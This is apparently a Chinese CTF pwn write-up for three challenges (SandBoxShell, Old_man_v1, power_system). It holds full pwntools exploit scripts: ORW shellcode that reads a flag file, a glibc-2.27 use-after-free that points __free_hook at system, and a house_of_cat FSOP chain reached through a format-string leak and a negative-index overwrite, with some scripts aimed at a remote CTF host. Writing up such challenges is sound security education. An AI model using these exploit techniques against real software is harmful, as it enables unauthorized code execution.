SandBoxShell

开了沙盒保护,禁用了execve

打ORW链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('202.0.5.188', 8888 )
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
rl("Can you show me your magic code?\n")
payload = 'push 0x00;xor rsi,rsi;xor rdx,rdx;mov rbx,0x67616c662f;push rbx;push rsp;pop rdi;mov rax,2;syscall;'

payload += 'mov rdi,rax;mov rsi,0x601000;mov rdx,0x100;xor rax,rax;syscall;'

payload += 'mov rdi,1;mov rsi,0x601000;mov rdx,0x100;mov rax,1;syscall;'
# gdb.attach(p)
sl(asm(payload))


inter()

Old_man_v1

glibc-2.27,存在UAF,add一个0x410的chunk,然后释放后泄露libc,edit指向free_hook打system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('202.0.5.188', 9999)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(index,len,content):
sl('1')
rl("Which elderly case do you need to add?\n")
sl(str(index))
rl("How much content does this elderly person's case need to include?:\n")
sl(str(len))
rl("So what are you going to write about:\n")
s(content)
def show(index):
sl('2')
rl("Which elderly case do you want to show?\n")
sl(str(index))
def delete(index):
sl('4')
rl("Which elderly case do you want to delete?\n")
sl(str(index))
def edit(index,content):
sl('3')
rl("Which elderly case do you want to edit?\n")
sl(str(index))
rl("So what are you going to write about:\n")
s(content)
# gdb.attach(p)
add(0,0x410,'a')
add(1,0x10,'a')
delete(0)
show(0)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym['__free_hook']
add(2,0x60,'/bin/sh\x00')
add(3,0x60,'/bin/sh\x00')
delete(2)
delete(3)
edit(3,p64(free_hook))
add(4,0x60,'/bin/sh\x00')
add(5,0x60,p64(libc_base+libc.sym['system']))
delete(4)
inter()

power_system

image-20240528122453864

需要登陆admin,有一个strncmp的sha256比较,由于’\x00’截断,所以只需要前面的’E85000’相等即可。可以直接利用hash碰撞。

并且登陆成功后会有一个 __printf_chk(1LL, v4);所以这是对格式化字符串漏洞进行了检测。无法直接利用形如"%n$p"了,只能利用"%p-%p-%p-%p"来泄露寄存器的内容来leak出libc的基地址。所以哈希撞库时也要以"%p-%p-%p-%p"为限制条件

之后进入到adjust函数中,选择node时存在负数溢出情况,可以控制到IO_stderr+8开始往后的内容。那么就能够利用这个进行hosue_of_cat打法。

image-20240528131758297

模板

1
2
3
4
5
6
7
8
9
10
11
payload = flat({
0x00: 0,
0x28: 0xffffffff,
0x30: 1,
0x70: b'/bin/sh',
0x90: system,
0x98: libc.sym['_IO_2_1_stderr_']+0x70+libc_base,
0xa0: libc.sym['_IO_2_1_stderr_'] + libc_base,#wide_data
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 + libc_base, # vtable #执行_IO_wfile_seekoff
0xe0: 0
}, filler=b"\x00")

house_of_cat利用链:

exit->__run_exit_handlers->IO_cleanup->_IO_flush_all_lockp->_IO_wfile_seekoff->system

需要注意的是控制好stderr的对应参数,vtables要设置为_IO_wfile_jumps+0x30,这样vtables+0x18才能调用_IO_wfile_seekoff,调试修改对应位置绕过即可

1
2
3
4
r13 = rdi(stderr)
r15 = [r13+0x98]
rdi = r15
call [r15+0x20]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.29.so')
rl(">> ")
sl('2')
account = 'QAQ'
rl("Please input admin account : ")
sl(account)
hash = 'E850006B2A652574A32E6D44A7706DB08DBCC14BBF437A85395041ED57D3FD58'
password = '%p-%p-%p-%pdtD~'
rl("Please input admin password : ")
# gdb.attach(p)
sl(password)
rl("Your passwrod is ")
rl("-0x22-0x")
libc_leak = int(p.recv(12),16)
lg('libc_leak',libc_leak)
libc_base = libc_leak - 0x1ec5c0
lg('libc_base',libc_base)
system = libc_base + libc.sym['system']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
rl(">> ")
sl('2')
rl("Select the node to adjust the power: ")
# gdb.attach(p,'b _IO_flush_all_lockp')
sl('-2')
rl("Set power size: ")
sl(str(0))
rl("Sets the name of operating staff: ")
payload = flat({
0x00: 0,
0x20: 1,
0x28: 0xffffffff,#rbx = stderr = [IO_list_all] ; [stderr+28] > [stderr+0x20]
0x30: 1,#rax = wide_data =[stderr+0xa0] ; [rax+0x30] != 0
0x70: b'/bin/sh',
0x90: system,
0x98: libc.sym['_IO_2_1_stderr_']+0x70+libc_base,
0xa0: libc.sym['_IO_2_1_stderr_'] + libc_base,#wide_data
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 + libc_base, # vtable #执行_IO_wfile_seekoff
0xe0: 0
}, filler=b"\x00")

sl(payload[8:])
rl(">> ")
sl('4')
sl('0')


inter()

这个是glibc-2.29版本的,与glibc-2.35版本的house_of_cat打法略有不同,因为_IO_flush_all_lockp_IO_wfile_seekoff中的限制条件不太一样,具体可以进行调试修改